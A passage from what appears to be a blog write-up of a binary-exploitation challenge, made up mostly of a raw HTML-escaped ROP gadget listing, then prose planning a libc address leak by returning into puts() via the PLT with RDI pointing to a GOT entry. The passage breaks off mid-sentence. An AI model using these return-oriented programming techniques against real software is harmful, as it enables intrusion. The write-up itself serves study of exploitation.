class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r14<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r15<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-70\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400d99<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r12<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r13<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-71\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400aaa<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r13<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r14<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r15<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-72\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400f5e<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r13<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r14<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r15<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-73\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400d9b<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r13<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-74\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400aac<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r14<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r15<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-75\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400f60<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r14<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r15<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-76\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400aae<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r15<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-77\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400f62<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r15<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-78\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400be2<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rip<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-cn\">0x205586<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-79\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400b81<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">edi<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x606160<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">jmp <\/span><span class=\"crayon-i\">rax<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-80\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400bbe<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">rsi<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">rax<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">edi<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x606160<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">jmp <\/span><span class=\"crayon-i\">rdx<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-81\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400f5b<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r12<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r13<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r14<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r15<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-82\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400aab<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r14<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r15<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-83\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400f5f<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r14<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r15<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-84\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400d9c<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-85\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400ab0<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-86\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400d98<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbx<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r12<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r13<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-87\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400aaf<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rdi<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-88\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400f63<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rdi<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-89\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400aad<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rsi<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r15<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-90\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400f61<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rsi<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r15<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-91\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400aa9<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rsp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r13<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r14<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r15<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-92\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400f5d<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rsp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r13<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r14<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r15<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-93\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400d9a<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rsp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r13<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-94\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400be6<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">push <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-st\">and<\/span> <span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">ebx<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">esi<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-95\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400c04<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">push <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">edi<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x605e20<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">rbp<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">rsp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">call <\/span><span class=\"crayon-i\">rax<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-96\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x00000000004019de<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-i\">rdmsr<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">sysenter<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-97\" class=\"crayon-line\"><span class=\"crayon-cn\">0x00000000004007a9<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-98\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x00000000004008d2<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-i\">ret<\/span> <span class=\"crayon-cn\">0x2057<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-99\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400ca2<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-i\">ret<\/span> <span class=\"crayon-cn\">0x4802<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-100\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400ba5<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-i\">ret<\/span> <span class=\"crayon-cn\">0xc148<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-101\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400cc2<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-i\">ret<\/span> <span class=\"crayon-cn\">0xe2d3<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-102\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400cb3<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">rol <\/span><span class=\"crayon-e\">dword <\/span><span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rcx<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">0x7d<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">stc<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">al<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x75<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">ah<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x5d<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-103\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400bac<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">ror <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span> <span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-cn\">0x2f<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">clc<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">jne<\/span> <span class=\"crayon-cn\">0x400bbb<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-104\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400bae<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">sar <\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">jne<\/span> <span class=\"crayon-cn\">0x400bb9<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-105\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400bad<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">sar <\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">jne<\/span> <span class=\"crayon-cn\">0x400bba<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-106\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400cb6<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-i\">stc<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">al<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x75<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">ah<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x5d<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-107\" class=\"crayon-line\"><span class=\"crayon-cn\">0x00000000004019db<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">sub <\/span><span class=\"crayon-v\">al<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0xf<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">rdmsr<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">sysenter<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-108\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x00000000004019d9<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">sub <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rdi<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">cl<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">sub <\/span><span class=\"crayon-v\">al<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0xf<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">rdmsr<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">sysenter<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-109\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400f75<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">sub <\/span><span class=\"crayon-v\">esp<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">8<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">rsp<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">8<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-110\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400f74<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">sub <\/span><span class=\"crayon-v\">rsp<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">8<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">rsp<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">8<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-111\" class=\"crayon-line\"><span class=\"crayon-cn\">0x00000000004019e0<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-i\">sysenter<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-112\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400f6a<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">test <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-113\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400c4a<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">test <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-st\">xor<\/span> <span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">eax<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-114\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400be5<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">xchg <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rbp<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-cn\">0x20<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">dl<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rcx<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-115\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400c50<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-st\">xor<\/span> <span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">eax<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-116\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b240152945395-117\" class=\"crayon-line\"><span class=\"crayon-e\">Unique <\/span><span class=\"crayon-e\">gadgets <\/span><span class=\"crayon-v\">found<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-cn\">112<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>There does not seem to be any obvious gadgets available for setting RDX, and unfortunately, RDX is set to 0 (as a side effect of the call to fclose() before returning from append_highscore(), at least when running it on my own system while testing) when the function epilogue for reached_goal() is executed. Since RDX can be set as a side-effect when calling functions, we can try looking for \u201charmless\u201d functions to return into in order to set RDX to a non-zero value though.<\/p>\n<p>We also still have the problem of not knowing the base address of libc, and maybe there\u2019s a way to solve both of these problems at once. \ud83d\ude42 By returning into the PLT-entry for puts(), that prints a string (or rather, prints any data up until the first NUL-byte it encounters), with RDI set to an address that contains a pointer into libc (such as a GOT-entry), 